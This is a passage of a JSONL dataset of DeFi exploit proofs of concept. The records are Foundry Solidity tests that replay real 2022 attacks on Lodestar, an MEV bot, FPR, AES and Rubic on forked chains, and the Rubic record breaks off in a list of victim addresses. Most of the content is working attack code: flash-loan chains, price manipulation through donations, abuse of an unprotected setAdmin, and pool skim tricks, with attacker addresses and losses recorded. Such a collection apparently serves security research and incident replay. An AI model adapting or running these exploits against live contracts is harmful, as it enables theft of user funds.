Exploit (2022-12)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @Analysis\n// https://twitter.com/SolidityFinance/status/1601684150456438784\n// https://blog.lodestarfinance.io/post-mortem-summary-13f5fe0bb336\n// @TX\n// https://arbiscan.io/tx/0xc523c6307b025ebd9aef155ba792d1ba18d5d83f97c7a846f267d3d9a3004e8c\n\ninterface uniswapV3Flash {\n function flash(address recipient, uint256 amount0, uint256 amount1, bytes calldata data) external;\n}\n\ninterface GMXRouter {\n function swapETHToTokens(address[] memory _path, uint256 _minOut, address _receiver) external payable;\n function swap(address[] memory _path, uint256 _amountIn, uint256 _minOut, address _receiver) external;\n}\n\ninterface GMXReward {\n function mintAndStakeGlpETH(uint256 _minUsdg, uint256 _minGlp) external payable returns (uint256);\n function mintAndStakeGlp(\n address _token,\n uint256 _amount,\n uint256 _minUsdg,\n uint256 _minGlp\n ) external returns (uint256);\n}\n\ninterface SwapFlashLoan {\n function flashLoan(address receiver, address token, uint256 amount, bytes memory params) external;\n}\n\ninterface GlpDepositor {\n function donate(\n uint256 _amount\n ) external;\n function redeem(\n uint256 amount\n ) external;\n}\n\ncontract ContractTest is Test {\n IERC20 USDC = IERC20(0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8);\n IERC20 DAI = IERC20(0xDA10009cBd5D07dd0CeCc66161FC93D7c9000da1);\n IERC20 WETH = IERC20(0x82aF49447D8a07e3bd95BD0d56f35241523fBab1);\n IERC20 USDT = IERC20(0xFd086bC7CD5C481DCC9C85ebE478A1C0b69FCbb9);\n IERC20 FRAX = IERC20(0x17FC002b466eEc40DaE837Fc4bE5c67993ddBd6F);\n IERC20 sGLP = IERC20(0x2F546AD4eDD93B956C8999Be404cdCAFde3E89AE);\n IERC20 MIM = IERC20(0xFEa7a6a0B346362BF88A9e4A88416B77a57D6c2A);\n IERC20 WBTC = IERC20(0x2f2a2543B76A4166549F7aaB2e75Bef0aefC5B0f);\n IERC20 PlvGlpToken = IERC20(0x5326E71Ff593Ecc2CF7AcaE5Fe57582D6e74CFF1);\n IAaveFlashloan AaveFlash = IAaveFlashloan(0x794a61358D6845594F94dc1DB02A252b5b4814aD);\n IAaveFlashloan Radiant = IAaveFlashloan(0x2032b9A8e9F7e76768CA9271003d3e43E1616B1F);\n uniswapV3Flash UniV3Flash1 = uniswapV3Flash(0xC31E54c7a869B9FcBEcc14363CF510d1c41fa443);\n uniswapV3Flash UniV3Flash2 = uniswapV3Flash(0x50450351517117Cb58189edBa6bbaD6284D45902);\n uniswapV3Flash UniV3Flash3 = uniswapV3Flash(0x13398E27a21Be1218b6900cbEDF677571df42A48);\n Uni_Pair_V2 Pair = Uni_Pair_V2(0x905dfCD5649217c42684f23958568e533C711Aa3);\n GMXRouter Router = GMXRouter(0xaBBc5F99639c9B6bCb58544ddf04EFA6802F4064);\n GMXReward Reward = GMXReward(0xA906F338CB21815cBc4Bc87ace9e68c87eF8d8F1);\n IUnitroller unitroller = IUnitroller(0x8f2354F9464514eFDAe441314b8325E97Bf96cdc);\n ICErc20Delegate IUSDC = ICErc20Delegate(0x5E3F2AbaECB51A182f05b4b7c0f7a5da1942De90);\n ICErc20Delegate lplvGLP = ICErc20Delegate(0xCC25daC54A1a62061b596fD3Baf7D454f34c56fF);\n ICErc20Delegate IETH = ICErc20Delegate(0xb4d58C1F5870eFA4B05519A72851227F05743273);\n ICErc20Delegate IMIM = ICErc20Delegate(0x46178d84339A04f140934EE830cDAFDAcD29Fba9);\n ICErc20Delegate IUSDT = ICErc20Delegate(0xeB156f76Ef69be485c18C297DeE5c45390345187);\n ICErc20Delegate IFRAX = ICErc20Delegate(0x5FfA22244D8273d899B6C20CEC12A88a7Cd9E460);\n ICErc20Delegate IDAI = ICErc20Delegate(0x7a668F56AffD511FFc83C31666850eAe9FD5BCC8);\n ICErc20Delegate IWBTC = ICErc20Delegate(0xD2835B08795adfEfa0c2009B294ae84B08C6a67e);\n SwapFlashLoan swapFlashLoan = SwapFlashLoan(0x401AFbc31ad2A3Bc0eD8960d63eFcDEA749b4849);\n GlpDepositor depositor = GlpDepositor(0x13F0D29b5B83654A200E4540066713d50547606E);\n address GlpManager = 0x321F653eED006AD1C29D174e17d96351BDe22649;\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"arbitrum\", 45_121_903);\n cheats.label(address(USDC), \"USDC\");\n cheats.label(address(DAI), \"DAI\");\n cheats.label(address(WETH), \"WETH\");\n cheats.label(address(USDT), \"USDT\");\n cheats.label(address(FRAX), \"FRAX\");\n cheats.label(address(sGLP), \"sGLP\");\n cheats.label(address(MIM), \"MIM\");\n cheats.label(address(WBTC), \"WBTC\");\n cheats.label(address(PlvGlpToken), \"PlvGlpToken\");\n cheats.label(address(AaveFlash), \"AaveFlash\");\n cheats.label(address(Radiant), \"Radiant\");\n cheats.label(address(UniV3Flash1), \"UniV3Flash1\");\n cheats.label(address(UniV3Flash2), \"UniV3Flash2\");\n cheats.label(address(UniV3Flash3), \"UniV3Flash3\");\n cheats.label(address(Pair), \"Pair\");\n cheats.label(address(Router), \"Router\");\n cheats.label(address(Reward), \"Reward\");\n cheats.label(address(unitroller), \"unitroller\");\n cheats.label(address(IUSDC), \"IUSDC\");\n cheats.label(address(lplvGLP), \"lplvGLP\");\n cheats.label(address(IETH), \"IETH\");\n cheats.label(address(IMIM), \"IMIM\");\n cheats.label(address(IUSDT), \"IUSDT\");\n cheats.label(address(IFRAX), \"IFRAX\");\n cheats.label(address(IDAI), \"IDAI\");\n cheats.label(address(IWBTC), \"IWBTC\");\n cheats.label(address(swapFlashLoan), \"swapFlashLoan\");\n cheats.label(address(depositor), \"depositor\");\n cheats.label(GlpManager, \"GlpManager\");\n }\n\n function testExploit() external {\n address[] memory assets = new address[](3);\n assets[0] = address(USDC);\n assets[1] = address(WETH);\n assets[2] = address(DAI);\n uint256[] memory amounts = new uint256[](3);\n amounts[0] = 17_290_000 * 1e6;\n amounts[1] = 9500 * 1e18;\n amounts[2] = 406_316 * 1e18;\n uint256[] memory modes = new uint256[](3);\n modes[0] = 0;\n modes[1] = 0;\n modes[2] = 0;\n AaveFlash.flashLoan(address(this), assets, amounts, modes, address(0), \"\", 0);\n\n emit log_named_decimal_uint(\n \"Attacker PlvGlpToken balance after exploit\", PlvGlpToken.balanceOf(address(this)), PlvGlpToken.decimals()\n );\n console.log(\"Attacker swap all PlvGlpToken to about 4500 ETH\");\n emit log_named_decimal_uint(\n \"Attacker USDC balance after exploit\", USDC.balanceOf(address(this)), USDC.decimals()\n );\n emit log_named_decimal_uint(\n \"Attacker WETH balance after exploit\", WETH.balanceOf(address(this)), WETH.decimals()\n );\n emit log_named_decimal_uint(\"Attacker MIM balance after exploit\", MIM.balanceOf(address(this)), MIM.decimals());\n emit log_named_decimal_uint(\n \"Attacker FRAX balance after exploit\", FRAX.balanceOf(address(this)), FRAX.decimals()\n );\n emit log_named_decimal_uint(\"Attacker DAI balance after exploit\", DAI.balanceOf(address(this)), DAI.decimals());\n emit log_named_decimal_uint(\n \"Attacker WBTC balance after exploit\", WBTC.balanceOf(address(this)), WBTC.decimals()\n );\n }\n\n function executeOperation(\n address[] calldata assets,\n uint256[] calldata amounts,\n uint256[] calldata premiums,\n address initiator,\n bytes calldata params\n ) external payable returns (bool) {\n if (msg.sender == address(AaveFlash)) {\n USDC.approve(address(AaveFlash), type(uint256).max);\n WETH.approve(address(AaveFlash), type(uint256).max);\n DAI.approve(address(AaveFlash), type(uint256).max);\n address[] memory assets = new address[](1);\n assets[0] = address(USDC);\n uint256[] memory amounts = new uint256[](1);\n amounts[0] = 14_435_000 * 1e6;\n uint256[] memory modes = new uint256[](1);\n modes[0] = 0;\n Radiant.flashLoan(address(this), assets, amounts, modes, address(0), new bytes(1), 0);\n return true;\n } else if (msg.sender == address(Radiant)) {\n USDC.approve(address(Radiant), type(uint256).max);\n UniV3Flash1.flash(address(this), 5460 * 1e18, 7_170_000 * 1e6, new bytes(1));\n return true;\n }\n }\n\n function uniswapV3FlashCallback(uint256 amount0, uint256 amount1, bytes calldata data) external {\n if (msg.sender == address(UniV3Flash1)) {\n UniV3Flash2.flash(address(this), 0, 2_200_000 * 1e6, new bytes(1));\n USDC.transfer(address(UniV3Flash1), 7_173_631 * 1e6);\n USDC.approve(address(Router), 19_012_632 * 1e6);\n address[] memory path = new address[](2);\n path[0] = address(USDC);\n path[1] = address(WETH);\n Router.swap(path, 19_012_632 * 1e6, 8000 * 1e18, address(this));\n WETH.transfer(address(UniV3Flash1), 5463 * 1e18);\n } else if (msg.sender == address(UniV3Flash2)) {\n Pair.swap(0, 10_000_000 * 1e6, address(this), new bytes(1));\n USDC.transfer(address(UniV3Flash2), 2_201_111 * 1e6);\n } else if (msg.sender == address(UniV3Flash3)) {\n swapFlashLoan.flashLoan(address(this), address(FRAX), 361_037 * 1e18, new bytes(1));\n USDT.transfer(address(UniV3Flash3), 397_256 * 1e6);\n USDC.transfer(address(UniV3Flash3), 1_610_460 * 1e6);\n }\n }\n\n function uniswapV2Call(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external payable {\n WETH.withdraw(WETH.balanceOf(address(this)));\n address[] memory path = new address[](2);\n path[0] = address(WETH);\n path[1] = address(USDC);\n Router.swapETHToTokens{value: 14_960 ether}(path, 18_890_000 * 1e6, address(this)); // 14,960 WETH for 19,001,512 USDC\n USDC.approve(address(IUSDC), USDC.balanceOf(address(this)));\n IUSDC.mint(USDC.balanceOf(address(this))); // 70M USDC\n address[] memory cTokens = new address[](1);\n cTokens[0] = address(IUSDC);\n unitroller.enterMarkets(cTokens);\n uint256 PlvGlpTokenAmount = PlvGlpToken.balanceOf(address(lplvGLP));\n PlvGlpToken.approve(address(lplvGLP), type(uint256).max);\n for (uint256 i = 0; i < 16; i++) {\n lplvGLP.borrow(PlvGlpTokenAmount);\n lplvGLP.mint(PlvGlpTokenAmount);\n }\n lplvGLP.borrow(PlvGlpTokenAmount);\n deal(address(lplvGLP), address(0), 3_051_070_161 * 1e8); // the exploiter' balance\n cheats.startPrank(address(0));\n lplvGLP.transfer(address(this), lplvGLP.balanceOf(address(this)));\n cheats.stopPrank();\n UniV3Flash3.flash(address(this), 397_054 * 1e6, 1_609_646 * 1e6, new bytes(1));\n USDC.transfer(address(Pair), 10_030_500 * 1e6);\n }\n\n function executeOperation(\n address pool,\n address token,\n uint256 amount,\n uint256 fee,\n bytes calldata params\n ) external payable {\n uint256 ETHglpAmount = Reward.mintAndStakeGlpETH{value: 1580 ether}(1_836_000 * 1e18, 2_156_500 * 1e18);\n FRAX.approve(GlpManager, FRAX.balanceOf(address(this)));\n uint256 FRAXglpAmount =\n Reward.mintAndStakeGlp(address(FRAX), FRAX.balanceOf(address(this)), 300_000 * 1e18, 361_000 * 1e18);\n USDC.approve(GlpManager, USDC.balanceOf(address(this)));\n uint256 USDCglpAmount =\n Reward.mintAndStakeGlp(address(USDC), USDC.balanceOf(address(this)), 1_500_000 * 1e18, 1_757_500 * 1e18);\n DAI.approve(GlpManager, DAI.balanceOf(address(this)));\n uint256 DAIglpAmount =\n Reward.mintAndStakeGlp(address(DAI), DAI.balanceOf(address(this)), 390_000 * 1e18, 399_000 * 1e18);\n USDT.approve(GlpManager, USDT.balanceOf(address(this)));\n uint256 USDTglpAmount =\n Reward.mintAndStakeGlp(address(USDT), USDT.balanceOf(address(this)), 350_000 * 1e18, 427_500 * 1e18);\n\n uint256 glpAmount = ETHglpAmount + FRAXglpAmount + USDCglpAmount + DAIglpAmount + USDTglpAmount;\n sGLP.approve(address(depositor), glpAmount);\n depositor.donate(glpAmount); // plvGLP price manipulation\n\n address[] memory cTokens = new address[](1);\n cTokens[0] = address(lplvGLP);\n unitroller.enterMarkets(cTokens);\n borrowAll();\n address(WETH).call{value: 125 ether}(\"\");\n FRAX.transfer(address(swapFlashLoan), 361_327 * 1e18);\n }\n\n function borrowAll() internal {\n IUSDC.borrow(USDC.balanceOf(address(IUSDC)));\n IETH.borrow(address(IETH).balance);\n IMIM.borrow(MIM.balanceOf(address(IMIM)));\n IUSDT.borrow(USDT.balanceOf(address(IUSDT)));\n IFRAX.borrow(FRAX.balanceOf(address(IFRAX)));\n IDAI.borrow(DAI.balanceOf(address(IDAI)));\n IWBTC.borrow(WBTC.balanceOf(address(IWBTC)));\n }\n\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "Lodestar", "date": "2022-12", "file_name": "Lodestar_exp.sol", "attack_vector": "flash_loan", "content_hash": "2e3df3ec79ac1117", "collected_at": "2026-01-07T10:59:16.537693", "_source": "postmortems", "chain": "arbitrum", "block_number": 45121903, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": true, "has_attack_vector": true, "severity": "medium", "severity_raw": null, "category": "flash-loan", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 4, "quality_estimate": "low", "title": "Lodestar Exploit (2022-12)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\n// @KeyInfo - Total Lost : ~1300 $USDC\n// Attacker : https://etherscan.io/address/0xb61e7f192a9ad5d11e2452f53d0ddf91b58239dc\n// Attack Contract : https://etherscan.io/address/0x0757d02596ef9840048def00eeb8e0f3862cc7ca\n// Vulnerable Contract : https://etherscan.io/address/0x28d949fdfb5d9ea6b604fa6fee3d6548ea779f17\n// Attack Tx : https://etherscan.io/tx/0x313d23bdd9277717e3088f32c976479c09d4b8a94d5d94deb835d157fd0850ce\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\ninterface IDPPAdvanced {\n function flashLoan(uint256 baseAmount, uint256 quoteAmount, address assetTo, bytes calldata data) external;\n}\n\ncontract ContractTest is Test {\n IERC20 USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);\n IERC20 USDT = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);\n IDPPAdvanced DODO = IDPPAdvanced(0x3058EF90929cb8180174D74C507176ccA6835D73);\n address MevBot_addr = 0x28d949Fdfb5d9ea6B604fA6FEe3D6548ea779F17;\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 16_157_843 - 1);\n vm.label(address(USDC), \"USDC\");\n vm.label(address(USDT), \"USDT\");\n vm.label(address(DODO), \"DODO\");\n vm.label(address(MevBot_addr), \"MevBot_addr\");\n }\n\n function testExploit() public {\n emit log_named_decimal_uint(\"Attacker USDC balance before attack\", USDC.balanceOf(address(this)), 6);\n bytes memory data = abi.encode(address(this), 16_777_120 * 110 / 100, 0, 0);\n while (USDT.balanceOf(MevBot_addr) > 20 * 1e6) {\n DODO.flashLoan(0, 16_777_120, MevBot_addr, data);\n }\n DODO.flashLoan(0, USDT.balanceOf(MevBot_addr), MevBot_addr, data);\n emit log_named_decimal_uint(\"Attacker USDC balance before attack\", USDC.balanceOf(address(this)), 6);\n }\n\n fallback() external payable {}\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "MEVbot_0x28d9", "date": "2022-12", "file_name": "MEVbot_0x28d9_exp.sol", "attack_vector": "flash_loan", "content_hash": "6c648f81cb7f1754", "collected_at": "2026-01-07T10:59:16.537770", "_source": "postmortems", "chain": "ethereum", "block_number": 16157843, "total_lost_raw": "~1300 $USDC", "total_lost_usd": 1300.0, "attacker_address": "https://etherscan.io/address/0xb61e7f192a9ad5d11e2452f53d0ddf91b58239dc", "attack_contract": "https://etherscan.io/address/0x0757d02596ef9840048def00eeb8e0f3862cc7ca", "vulnerable_contract": "https://etherscan.io/address/0x28d949fdfb5d9ea6b604fa6fee3d6548ea779f17", "attack_tx": "https://etherscan.io/tx/0x313d23bdd9277717e3088f32c976479c09d4b8a94d5d94deb835d157fd0850ce", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": true, "severity": "low", "severity_raw": "~1300 $USDC", "category": "flash-loan", "exploit_code": "function testExploit() public {\n emit log_named_decimal_uint(\"Attacker USDC balance before attack\", USDC.balanceOf(address(this)), 6);\n bytes memory data = abi.encode(address(this), 16_777_120 * 110 / 100, 0, 0);\n while (USDT.balanceOf(MevBot_addr) > 20 * 1e6) {\n DODO.flashLoan(0, 16_777_120, MevBot_addr, data);\n }\n DODO.flashLoan(0, USDT.balanceOf(MevBot_addr), MevBot_addr, data);\n emit log_named_decimal_uint(\"Attacker USDC balance before attack\", USDC.balanceOf(address(this)), 6);\n }\n\n fallback() external payable {}\n receive() external payable {}", "has_exploit_code": true, "keyinfo_total_lost": "~1300 $USDC", "keyinfo_attacker": "https://etherscan.io/address/0xb61e7f192a9ad5d11e2452f53d0ddf91b58239dc", "keyinfo_attack_contract": "https://etherscan.io/address/0x0757d02596ef9840048def00eeb8e0f3862cc7ca", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0x28d949fdfb5d9ea6b604fa6fee3d6548ea779f17", "keyinfo_attack_tx": "https://etherscan.io/tx/0x313d23bdd9277717e3088f32c976479c09d4b8a94d5d94deb835d157fd0850ce", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$1.3K", "content_richness_score": 7.95, "quality_estimate": "medium", "title": "MEVbot_0x28d9 Exploit (2022-12)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~$29k\n// Attacker : https://bscscan.com/address/0xE3104e645BC3f6fD821930a6a39EE509a0E87D3b\n// Attack Contract :\n// https://bscscan.com/address/0xe3293F89FD3B9336Ac2d514Ec4a90477ca94b0d8\n// https://bscscan.com/address/0x5Dd07F8b12B8D5dBDF3664c2Fa7c37Da5048b462\n// Attack Tx :\n// https://bscscan.com/tx/0xec1b969e1435a1449dd5179404c54b5c60e49f15a1bf6bf8922e8d2978102f4a\n// https://bscscan.com/tx/0x1b66170220287bd90f72a97368f8dea2420a24c9585e9f39bf236af6d2a7dde6\n// https://bscscan.com/tx/0x43da4322052b045f442cdfc03bcccc797d3bba467beda501222c35d8fd0ebd81\n// https://bscscan.com/tx/0x1f8e814029a073c52a8668e6ff5bb3264445a8b29886cc9e3ca8ed5f89ccacd3\n\n// @Analysis\n// https://twitter.com/peckshield/status/1603226968706936832\n// https://twitter.com/chainlight_io/status/1603282848311480320\n\ninterface VulContract {\n function setAdmin(\n address\n ) external;\n function remaining(address, address) external;\n}\n\ncontract ContractTest is Test {\n address[4] vulContracts = [\n 0x81c5664be54d89E725ef155F14cf34e6213297B7,\n 0xE2f0A9B60858f436e1f74d8CdbE03625b9bcc532,\n 0x39eb555f5F7AFd11224ca10E406Dba05B4e21BD3,\n 0xBa5B235CDDaAc2595bcE6BaB79274F57FB82Bf27\n ];\n uint256[3] attackBlock = [23_904_153, 23_904_166, 23_904_174];\n IERC20 constant FPR = IERC20(0xA9c7ec037797DC6E3F9255fFDe422DA6bF96024d);\n IERC20 constant USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IUniswapV2Router constant router = IUniswapV2Router(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));\n IUniswapV2Pair constant pair = IUniswapV2Pair(0x039D05a19e3436c536bE5c814aaa70FcdbDde58b);\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", 23_904_152);\n vm.label(address(FPR), \"FPR token\");\n vm.label(address(router), \"Router\");\n vm.label(address(pair), \"Pair\");\n }\n\n function testExploit() public {\n FPR.approve(address(router), type(uint256).max);\n IERC20(address(pair)).approve(address(router), type(uint256).max);\n address[] memory path = new address[](2);\n path[0] = address(FPR);\n path[1] = address(USDT);\n for (uint256 i = 0; i < 3; i++) {\n VulContract(vulContracts[i]).setAdmin(address(this));\n VulContract(vulContracts[i]).remaining(address(this), address(FPR));\n console.log(FPR.balanceOf(address(this)));\n router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n FPR.balanceOf(address(this)), 0, path, address(this), block.timestamp\n );\n }\n\n VulContract(vulContracts[3]).setAdmin(address(this));\n VulContract(vulContracts[3]).remaining(address(this), address(pair));\n router.removeLiquidity(\n address(USDT), address(FPR), pair.balanceOf(address(this)), 0, 0, address(this), block.timestamp\n );\n router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n FPR.balanceOf(address(this)), 0, path, address(this), block.timestamp\n );\n }\n}\n", "type": "exploit_poc", "protocol": "FPR", "date": "2022-12", "file_name": "FPR_exp.sol", "attack_vector": null, "content_hash": "6ee31ba08b38d827", "collected_at": "2026-01-07T10:59:16.537816", "_source": "postmortems", "chain": "bsc", "block_number": 23904152, "total_lost_raw": "~$29k", "total_lost_usd": 29000.0, "attacker_address": "https://bscscan.com/address/0xE3104e645BC3f6fD821930a6a39EE509a0E87D3b", "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "medium", "severity_raw": "~$29k", "category": "unknown", "exploit_code": "function testExploit() public {\n FPR.approve(address(router), type(uint256).max);\n IERC20(address(pair)).approve(address(router), type(uint256).max);\n address[] memory path = new address[](2);\n path[0] = address(FPR);\n path[1] = address(USDT);\n for (uint256 i = 0; i < 3; i++) {\n VulContract(vulContracts[i]).setAdmin(address(this));\n VulContract(vulContracts[i]).remaining(address(this), address(FPR));\n console.log(FPR.balanceOf(address(this)));\n router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n FPR.balanceOf(address(this)), 0, path, address(this), block.timestamp\n );\n }\n\n VulContract(vulContracts[3]).setAdmin(address(this));\n VulContract(vulContracts[3]).remaining(address(this), address(pair));\n router.removeLiquidity(\n address(USDT), address(FPR), pair.balanceOf(address(this)), 0, 0, address(this), block.timestamp\n );\n router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n FPR.balanceOf(address(this)), 0, path, address(this), block.timestamp\n );\n }", "has_exploit_code": true, "keyinfo_total_lost": "~$29k", "keyinfo_attacker": "https://bscscan.com/address/0xE3104e645BC3f6fD821930a6a39EE509a0E87D3b", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$29.0K", "content_richness_score": 5.59, "quality_estimate": "medium", "title": "FPR Exploit (2022-12)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @Analysis\n// https://twitter.com/BlockSecTeam/status/1600442137811689473\n// https://twitter.com/peckshield/status/1600418002163625984\n// @TX\n// https://bscscan.com/tx/0xca4d0d24aa448329b7d4eb81be653224a59e7b081fc7a1c9aad59c5a38d0ae19\n\ninterface IAES is IERC20 {\n function distributeFee() external;\n}\n\ncontract ContractTest is Test {\n IAES AES = IAES(0xdDc0CFF76bcC0ee14c3e73aF630C029fe020F907);\n IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);\n Uni_Pair_V2 Pair = Uni_Pair_V2(0x40eD17221b3B2D8455F4F1a05CAc6b77c5f707e3);\n Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n address dodo = 0x9ad32e3054268B849b84a8dBcC7c8f7c52E4e69A;\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"bsc\", 23_695_904);\n }\n\n function testExploit() public {\n USDT.approve(address(Router), type(uint256).max);\n AES.approve(address(Router), type(uint256).max);\n DVM(dodo).flashLoan(0, 100_000 * 1e18, address(this), new bytes(1));\n\n emit log_named_decimal_uint(\"[End] Attacker USDT balance after exploit\", USDT.balanceOf(address(this)), 18);\n }\n\n function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {\n USDTToAES();\n AES.transfer(address(Pair), AES.balanceOf(address(this)) / 2);\n for (uint256 i = 0; i < 37; i++) {\n Pair.skim(address(Pair));\n }\n Pair.skim(address(this));\n AES.distributeFee();\n Pair.sync();\n AESToUSDT();\n USDT.transfer(dodo, 100_000 * 1e18);\n }\n\n function USDTToAES() internal {\n address[] memory path = new address[](2);\n path[0] = address(USDT);\n path[1] = address(AES);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n 100_000 * 1e18, 0, path, address(this), block.timestamp\n );\n }\n\n function AESToUSDT() internal {\n address[] memory path = new address[](2);\n path[0] = address(AES);\n path[1] = address(USDT);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n AES.balanceOf(address(this)), 0, path, address(this), block.timestamp\n );\n }\n}\n", "type": "exploit_poc", "protocol": "AES", "date": "2022-12", "file_name": "AES_exp.sol", "attack_vector": "flash_loan", "content_hash": "6b85507c22b0b218", "collected_at": "2026-01-07T10:59:16.537861", "_source": "postmortems", "chain": "bsc", "block_number": 23695904, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": true, "has_attack_vector": true, "severity": "medium", "severity_raw": null, "category": "flash-loan", "exploit_code": "function testExploit() public {\n USDT.approve(address(Router), type(uint256).max);\n AES.approve(address(Router), type(uint256).max);\n DVM(dodo).flashLoan(0, 100_000 * 1e18, address(this), new bytes(1));\n\n emit log_named_decimal_uint(\"[End] Attacker USDT balance after exploit\", USDT.balanceOf(address(this)), 18);\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 4.22, "quality_estimate": "low", "title": "AES Exploit (2022-12)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @Analysis\n// https://twitter.com/BlockSecTeam/status/1606993118901198849\n// https://twitter.com/peckshield/status/1606937055761952770\n// @TX\n// https://etherscan.io/tx/0x9a97d85642f956ad7a6b852cf7bed6f9669e2c2815f3279855acf7f1328e7d46\n\ninterface RubicProxy1 {\n struct BaseCrossChainParams {\n address srcInputToken;\n uint256 srcInputAmount;\n uint256 dstChainID;\n address dstOutputToken;\n uint256 dstMinOutputAmount;\n address recipient;\n address integrator;\n address router;\n }\n\n function routerCallNative(BaseCrossChainParams calldata _params, bytes calldata _data) external;\n}\n\ninterface RubicProxy2 {\n struct BaseCrossChainParams {\n address srcInputToken;\n uint256 srcInputAmount;\n uint256 dstChainID;\n address dstOutputToken;\n uint256 dstMinOutputAmount;\n address recipient;\n address integrator;\n address router;\n }\n\n function routerCallNative(\n string calldata _providerInfo,\n BaseCrossChainParams calldata _params,\n bytes calldata _data\n ) external;\n}\n\ncontract ContractTest is Test {\n IERC20 USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);\n RubicProxy1 Rubic1 = RubicProxy1(0x3335A88bb18fD3b6824b59Af62b50CE494143333);\n RubicProxy2 Rubic2 = RubicProxy2(0x33388CF69e032C6f60A420b37E44b1F5443d3333);\n address integrators = 0x677d6EC74fA352D4Ef9B1886F6155384aCD70D90;\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"mainnet\", 16_260_580);\n }\n\n function testExploit() external {\n address[] memory victims = new address[](26);\n victims[0] = 0x6b8D6E89590E41Fa7484691fA372c3552E93e91b;\n victims[1] = 0x036B5805F9175297Ec2adE91678d6ea0a1e2272A;\n victims[2] = 0xED9c18C5311DBB2b757B6913fB3FE6aa22b1A5b0;\n victims[3] = 0xff266f62a0152F39FCf123B7086012cEb292516A;\n victims[4] = 0x90d9b9CC1BFB77d96f9a44731159DdbcA824C63D;\n victims[5] = 0x1dAeB36442d0B0B28e5c018078b672CF9ee9753B;\n victims[6] = 0xF2E3628f7A85f03F0800712DF3c2EBc5BDb33981;\n victims[7] = 0xf3f4470d71b94CD74435e2e0f0dE0DaD11eC7C5a;\n victims[8] = 0x915E88322EDFa596d29BdF163b5197c53cDB1A68;\n victims[9] = 0xD6aD4bcbb33215C4b63DeDa55de599d0d56BCdf5;\n victims[10] = 0x2afeF7d7de9E1a991c385a78Fb6c950AA3487dbA;\n victims[11] = 0x21FeBbFf2da0F3195b61eC0cA1B38Aa1f7105cDb;\n victims[12] = 0xDbDDb2D6F3d387c0dDA16E197cd1E490543354e1;\n victims[13] = 0x58709C660B2d908098FE95758C8a872a3CaA6635;\n victims[14] = 